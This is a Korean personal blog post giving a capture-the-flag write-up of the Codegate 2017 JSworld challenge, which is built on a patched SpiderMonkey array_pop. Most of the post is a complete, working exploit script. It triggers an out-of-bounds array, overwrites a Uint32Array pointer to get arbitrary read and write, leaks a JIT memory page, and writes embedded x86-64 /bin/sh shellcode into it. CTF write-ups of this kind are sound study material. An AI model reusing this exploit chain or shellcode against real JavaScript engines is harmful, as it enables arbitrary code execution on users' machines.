Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Codegate 2017 JSworld 본문

Security/Pwnable

Codegate 2017 JSworld

Cdor1 2018. 5. 4. 19:42

처음 해보는 JavaScript 엔진 익스플로잇이다.

재밌었다.


문제에서 소스를 주는데, 원본 소스를 다운받아서 디핑하고 달라진 점을 찾았다.


1947c1947,1950
< 
---
>     if (index == 0) {
>         /* Step 4b. */
>         args.rval().setUndefined();
>     } else {
1959c1962
< 
---
>     }
1964c1967
<     if (obj->isNative())
---
>     if (obj->isNative() && obj->getDenseInitializedLength() > index)

js::array_pop(JSContext *cx, unsigned argc, Value *vp)

array_pop부분인데 index==0체크와 바운드체크가 사라져서 index변수를 오버플로우 시킬수있다.

uint32_t index;

index는 uint32_t이기에 4294967295가 되어서 pop으로 오버플로우 시킨 배열에서 oob가 일어난다.


oob가 생겼으니 익스플로잇 단계를 짜봤다.

1. Uint32Array객체 만들고 객체가 담긴 주소 leak - 배열 사이즈를 기반으로 인덱스 구함. (oob[i] == 0x1000)

2. Uint32Array객체 pointer 덮어써서 AAR, AAW

3. AAR 이용해서 JIT(rwx)영역 주소 leak하기 - 같은 함수를 연속적으로 불러서 JIT를 사용하도록 유도한 후 JIT주소 주변 고정적인 값 기반으로 인덱스 구함.(oob[i] == '0000017000000181')

4. AAW 이용해서 JIT(rwx)영역 쉘코드로 덮어쓰기

4. JIT call && get shell


중점적인 내용

data += ("00"+shellcode.charCodeAt(i+j).toString(16)).substr(-2);

쉘코드에서 문자열로 4바이트 파싱


sc[shellcode_idx] = parseInt('0x' + data.match(/.{1,2}/g).reverse().join(''),16);

2바이트씩 끊어서 저장하고 리버스시켜서 little endian에 맞춰줌. 0x붙여서 parseInt로 문자열->정수변환


d_to_i2(data)

e-notation으로 나오는 값 Float64로 받아서 Uint32로 변환(read)


i2_to_d(data)

Uint32받아서 e-notation으로 변환(write)



function d_to_i2(data){
	var a = new Uint32Array(new Float64Array([data]).buffer);
	return [a[1], a[0]];
}

function i2_to_d(data){
	return new Float64Array(new Uint32Array([data[1], data[0]]).buffer)[0];
}

function i2_to_hex(data){
	var v1 = ("00000000" + data[0].toString(16)).substr(-8);
	var v2 = ("00000000" + data[1].toString(16)).substr(-8);
	return [v1, v2];
}

function p_i2(data){
	print(i2_to_hex(d_to_i2(data))[0] + i2_to_hex(d_to_i2(data))[1]);
}
var trigger = new Array(1);
trigger[0] = 0x41414141;
var array = new Uint32Array(0x1000);

for(var i = 0; i<0x1000; i++){
	array[i] = 0x42424242;
}

trigger.pop();
trigger.pop();

var offset = 0;
print('oob triggered : ' + trigger.length);
for(var i = 0; i<0x1000; i++){
	if(trigger[i] == 0x1000){
		offset = i + 2;
		print('Uint32Array offset : ' + offset);
		print('Uint32Array data : ' + trigger[offset]);
		p_i2(trigger[offset]);
		break;
	}
}

for(var i = 0; i<20; i++){
	getshell(1)
}

jit_address_offset=0
for (i=0x0; i<0x10000; i++)
{
        hx=i2_to_hex(d_to_i2(trigger[i]))
        if(hx[0]+hx[1]=='0000017000000181')
        {
                print('function found');
                jit_address_offset=i-2
		print('jit offset : ' +	jit_address_offset);
                print('jit data : ' + trigger[jit_address_offset]);
		p_i2(trigger[jit_address_offset]);
		break;
        }
}
function getshell(args1){
	print("SHELL");
}

function write(addr, data){
	        trigger[offset] = i2_to_d(addr);
		array[0] = data;
}

function read(addr){
	        trigger[offset] = i2_to_d(addr);
		return array[0]
}
function shellcode_to_jit(addr, shellcode){
	var sc=[];
	var data='';
	var shellcode_idx = 0;
	for(var i = 0; i < shellcode.length; i+=4){
		for(var j = 0; j<4; j++){
			data += ("00"+shellcode.charCodeAt(i+j).toString(16)).substr(-2);
		}
		sc[shellcode_idx] = parseInt('0x' + data.match(/.{1,2}/g).reverse().join(''),16);
		data = '';
		shellcode_idx++;
	}
	for(var i = 0; i < shellcode.length; i++){
		addr[1] += 4;
		write(addr, sc[i]);
	}
}
var shellcode = "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05";
shellcode_to_jit(d_to_i2(trigger[jit_address_offset]), shellcode);
getshell(1);

ref : https://bpsecblog.wordpress.com/2017/04/27/javascript_engine_array_oob/

'Security > Pwnable' 카테고리의 다른 글

자료들  (0) 2018.06.01
fuzzer prototype  (0) 2018.03.19
Study materials  (0) 2018.01.30
codegate 2017 review  (0) 2018.01.29
malloc.c  (0) 2018.01.26
Comments